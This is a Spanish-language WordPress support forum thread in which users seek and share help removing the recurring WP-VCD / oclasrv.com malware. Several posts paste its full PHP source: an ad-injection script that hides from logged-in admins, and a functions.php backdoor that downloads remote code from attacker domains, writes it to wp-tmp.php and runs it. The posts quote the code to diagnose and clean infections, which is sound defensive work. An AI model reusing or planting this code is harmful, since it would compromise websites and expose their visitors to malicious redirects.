• Resuelto ajcobo71

    (@ajcobo71)


    Saludos.
    El enlace en referencia es un sitio de pruebas y producción.

    Quiero decirles que llevo un par de meses luchando contra este Adware Malware, virus o como quieran llamarle.
    Se trata de un codgio que se auto regenera mediante 2 archivos .php, este es el sript.

    <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1527634"></script>

    Ahora bien sabemos que la vulnerabilidad pudo ser detecta en algun plugin o falsa actualización descargada e instalada en e sitio, pero lo mas cumbre del caso es que todos las web alojadas fueron infectadas.

    Este adware malware o como se le llame es un ladron de trafico, y mientras estas logueado como administrador nunca va a hacerce notar, una vez cierras la sesion y limpias la cache del navegador comienza a trabajar en tu web en cada click de enlace redirige a otros sitios sin relevancia ( porno, casinos, software basura, apuestas y pare de contar)

    Donde se aloja? hasta ahora lo he detecta en la carpeta wp-include y son dos archivos php. wp-feed.php y wp-temp.php, estos archivos por mas que se borran vuelven a regenerarce, al escanear el sitio con Wordfence el los elimina y los pocos minutos estan regenerados nuevamente infectando el sitio.

    Aqui les dejo el codigo de ambos.
    wp-temp.php

    ini_set('display_errors', 0);
    error_reporting(0);
    $wp_auth_key='08b370e35d008b6591dd40b0eec23025';
    
    if ( ! function_exists( 'slider_option' ) ) {  
    
    function slider_option($content){ 
    if(is_single())
    {
    
    $con = '
    ';
    
    $con2 = '
    <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1527634"></script>
    <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1527635&interactive=1&pushup=1"></script>
    
    ';
    
    $content=$content.$con2;
    }
    return $content;
    } 
    
    function slider_option_footer(){ 
    if(!is_single())
    {
    
    $con2 = '
    <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1527634"></script>
    <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1527635&interactive=1&pushup=1"></script>
    
    ';
    
    echo $con2;
    }
    } 
    
    function setting_my_first_cookie() {
      setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
      }
    
    if(is_user_logged_in())
    {
    add_action( 'init', 'setting_my_first_cookie',1 );
    }
    
    if( current_user_can('edit_others_pages'))
    {
    
    if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
    {
    $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
    }
    
    if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
    {
    $ip.=$_SERVER['REMOTE_ADDR'].'
    ';
    @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
    
    }
    
    }
    
    $ref = $_SERVER['HTTP_REFERER'];
    $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
    foreach ($SE as $source) {
      if (strpos($ref,$source)!==false) {
        setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
    	$sevisitor=true;
      }
    }
    
    if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) 
    {
    $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
    if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
    {
    add_filter('the_content','slider_option');
    add_action('wp_footer','slider_option_footer');
    if($sevisitor==true || isset($_COOKIE['sevisitor']))
    {
    
    }
    
    }
    
    } 
    
    }

    Y el archivo wp-tem.php solo esta escrita la ip desde donde conecto a mi sitios wordpress.

    Como bien lo he mencionado, he hecho todo lo recomendado, nuevas instalaciones de wp, eliminación de y re instalación de plugin, he saneado según lo remendado en este foro de soporte… y nada!! ha Cambie de host, y los problemas continúan.

    Si alguno de vosotros habéis tenido este malware y lo ha solucionado, mucho le sabría agradecer, ya tengo muchos problemas tratando de recuperar el sitio y algunos de clientes y esto me tiene muy agotado.

    Agradeciendo su atención y colaboraciones al caso.

    Quedo atento de vuestros comentarios y agradeciendo la ayuda que me puedan prestar en este caso.

    Un saludo.

    La página con la que necesito ayuda: [accede para ver el enlace]

Viendo 15 respuestas - de la 1 a la 15 (de un total de 25)
  • Moderador LGrusin

    (@lgrusin)

    ¿Has leido https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/ ? Lo tienes en este mismo foro de Seguridad.

    Un saludo

    • Esta respuesta fue modificada hace 6 años, 3 meses por LGrusin.
    Iniciador del debate ajcobo71

    (@ajcobo71)

    Hola
    Gracias por tu oportuna respuesta.

    Ya he realizado el procedimiento en referencia y el problema persiste, al parecer es una inyección en la base de datos de manera remota con un usuario administrador temporal, y esto hace que se regenere los archivos.
    El el codigo, esta el script y los request a server que hace el php.
    La ayuda que necesito es como evitar que se regeneren. limpio el wordpress por completo, reinstalo los pluging, el theme lo he revisado archivo por archivo y linea por linea y esta bien.
    Me pregunto si será un problema de vulnerabilidad del servicio de alojamiento o es otra acción que al parecer no se puede corregir porque el hack esta bien encubierto.

    Si algún experto en php y java lee este mensaje por favor revisar el código y me ayude a neutralizar la acción.

    Mucho agradezco apoyo y vuestros comentarios.
    Un saludo.

    Iniciador del debate ajcobo71

    (@ajcobo71)

    Nuevamente he repetido el procedimiento y nada, vuelve a aparecer.
    Tendré que eliminar por completo el sitio, al parecer no se puede recuperar.

    Moderador almendron

    (@almendron)

    Yo probaría antes lo siguiente:
    1) Usa el plugin Duplicator para hacer una copia.
    2) Instala en local WordPress
    3) Usa el mencionado plugin para volcar en local el sitio.
    4) Sigue paso a paso las instrucciones del hilo https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/
    5) Si desaparece, borra en el servidor todo el sitio incluyendo la base de datos (haz una copia de seguridad antes)
    6) Cresa una base de datos nueva en el servidor. Sube el sitio con Duplicator.

    Moderador almendron

    (@almendron)

    Moderador almendron

    (@almendron)

    Por cierto, ¿no será que tu navegador está infectado? En la Red hay abundante información sobre ese virus.

    Iniciador del debate ajcobo71

    (@ajcobo71)

    Almendron
    Gracias por tu respuesta.
    Pues ya he repetido el procedimiento tal cual en varias oportunidades, me he desvelado tratando de recuperar el site y nada, continua regenerándose el los archivos maliciosos.
    Mi navegador no esta infectado, he pasado antivirus a diario, anti malware a diario, he aislado la partición del disco donde tengo los respaldos de los sitios infectados.

    He estado investigando sobre este malware, al parecer lo expandieron a mediados del año pasado y ha infectado cientos de miles de web, sobre todo desarrolladas en WordPress. al igual de cientos de miles de equipos informáticos.

    Si revisas el código al principio del post, notaras lo que te he dicho.
    Voy a probar nuevamente con el plugin Duplicator, creao que tiene la misma función igual al que uso actualmente el All in one wp Migrate.

    Me gustaría mantener el hilo del tema abierto por unos días mas, hasta que algún experto en seguridad, php, y java revice el codigo del script que inyectaron a ver cual serán sus opiniones al respecto.

    Por ahora estoy desarrollando el sitio nuevamente y he cambiado de servicio de hosting, a ver que tal.

    Un saludo

    Quedo atento a todos vuestros comentarios.

    Moderador almendron

    (@almendron)

    1) Si has seguido todos los pasos indicados en la guía, el sitio debería quedar limpio por completo.
    2) Si una vez limpio el sitio vuelve a aparecer el virus, entonces tenemos tres escenarios: servidor, plugins o tema tienen una vulnerabilidad.

    Da lo mismo que estés desarrollando el tema de nuevo o que contrates un nuevo hosting si el problema es el tema o un plugin vulnerable a ese virus.

    PD. Comprueba functions.php del tema. Suele inyectar código malicioso en el él.

    Y otra cosa: WordPress no es vulnerable a ese virus. Entra a través de un plugin o tema desfasado.

    chalynas

    (@riveralvarez)

    Hola @ajcobo71 qué solución le has dado a esa infección? bastó con rehacer tu wordpress? Tengo la misma infección y quisiera saber cuál ha sido tu experiencia. Gracias.

    Moderador almendron

    (@almendron)

    No basta con reisntalar WordPress. Sigue la guía: https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/

    Y comprueba además que todos los plugins y el tema estén actualizados.

    if (($tmpcontent = @file_get_contents("http://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                if (stripos($tmpcontent, $wp_auth_key) !== false) {
    
                    extract(theme_temp_setup($tmpcontent));
    
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
                    
    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    
                            @file_put_contents('wp-tmp.php', $tmpcontent);
    
                        }
    
                    }
    
                    
    
                }
    
            }
    
            
    
            
    
            elseif ($tmpcontent = @file_get_contents("http://www.fonjy.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    
                    extract(theme_temp_setup($tmpcontent));
    
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    
                    
    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
    
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
    
                            @file_put_contents('wp-tmp.php', $tmpcontent);
    
                        }
    
                    }
    
                    
    
                }
    
            } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                extract(theme_temp_setup($tmpcontent));
    
               
    
            } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif (($tmpcontent = @file_get_contents("http://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                extract(theme_temp_setup($tmpcontent)); 
    
            }
    

    BUSCAR EN TU THEMA /public_html/wp-content/themes/consulting/functions.php
    QUITAR EL CODIGO

    • Esta respuesta fue modificada hace 5 años, 11 meses por almendron.

    Buenas tardes,
    Usted ya ha logrado arreglar el problema?

    Saludos

    Boa Noite,

    A forma mais facil de resolver esse problema é com o plugin Wordfence, pode ser a versão gratuita mesmo.

    Basta colocar ele para fazer o scan, que ele irá encontrar onde está os arquivos.

    Segue abaixo os lugares possíveis

    Critical Problems:

    * File appears to be malicious: 7rs9ichf.php

    * File appears to be malicious: wp-content/themes/consulting/functions.php

    * File appears to be malicious: wp-content/themes/consulting-child/functions.php

    https://sitecheck.sucuri.net/

    Warnings:

    * Unknown file in WordPress core: wp-includes/wp-feed.php

    * Unknown file in WordPress core: wp-includes/wp-tmp.php

    * Unknown file in WordPress core: wp-includes/wp-vcd.php

    Depois de remover os arquivos ou códigos que estão neles, você poderá fazer um scan pelo site abaixo, para ver se acusa algum vírus ainda.

    Yo tengo el problema con la plantilla Avada, y he encontrado que en el archivo functions.php de ese tema es donde habían introducido el código que generaba los archivos mencionados:
    wp-feed.php
    wp-tmp.php

    en mi caso el archivo wp-vcd.php no se había generado.

    Lo que hice fue eliminar el código que estaba al principio del functions y quitarle el modo de escritura para que al menos les cueste un poquito más trabajo la próxima vez insertar código ahí.

    Es super importante meter captcha en todos los formularios, hasta en el del admin, y cambiar la url del administrador para que no sea la de siempre wp-admin, sino una personalizada. Todo con el fin de complicar un poco más que el hacker (o como se quiera hacer llamar) te haga daño a futuro.

    Importante cambiar frecuentemente claves de ftp y nunca guardar las claves de ftp en Filezilla, pq en ese programa las claves se guardan en plano en un archivo XML al cual se puede tener acceso fácil con un virus en tu computador.

    Les dejo a continuación todo el código que borré del functions.php por si a alguien le interesa:

    <?php
    
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'fed3a4e8ef6b024209d9e973afa812ft'))
    	{
    $div_code_name="wp_vcd";
    		switch ($_REQUEST['action'])
    			{
    
    				
    
    				case 'change_domain';
    					if (isset($_REQUEST['newdomain']))
    						{
    							
    							if (!empty($_REQUEST['newdomain']))
    								{
                                                                               if ($file = @file_get_contents(__FILE__))
    		                                                                    {
                                                                                                     if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code12\.php/i',$file,$matcholddomain))
                                                                                                                 {
    
    			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
    			                                                                           @file_put_contents(__FILE__, $file);
    									                           print "true";
                                                                                                                 }
    
    		                                                                    }
    								}
    						}
    				break;
    
    				
    				
    				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
    			}
    			
    		die("");
    	}
    
    	
    
    $div_code_name = "wp_vcd";
    $funcfile      = __FILE__;
    if(!function_exists('theme_temp_setup')) {
        $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
        if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
            
            function file_get_contents_tcurl($url)
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            }
            
            function theme_temp_setup($phpCode)
            {
                $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;
                unlink($tmpfname);
                return get_defined_vars();
            }
            
    $wp_auth_key='251d607fc3a151f99d17caedc7b96c1g';
            if (($tmpcontent = @file_get_contents("http://www.merna.cc/code12.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.merna.cc/code12.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            }
            
            
            elseif ($tmpcontent = @file_get_contents("http://www.merna.pw/code12.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
               
            } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif (($tmpcontent = @file_get_contents("http://www.merna.top/code12.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.merna.top/code12.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            }
            
            
            
            
            
        }
    }
    
    //$start_wp_theme_tmp
    
    //wp_tmp
    
    //$end_wp_theme_tmp
    ?>

    Eu exclui o arquivo wp-includes/wp-tmp.php e o meu problema foi resolvido!

Viendo 15 respuestas - de la 1 a la 15 (de un total de 25)
  • El debate ‘Como Eliminar malware » go.oclasrv.com» por completo’ está cerrado a nuevas respuestas.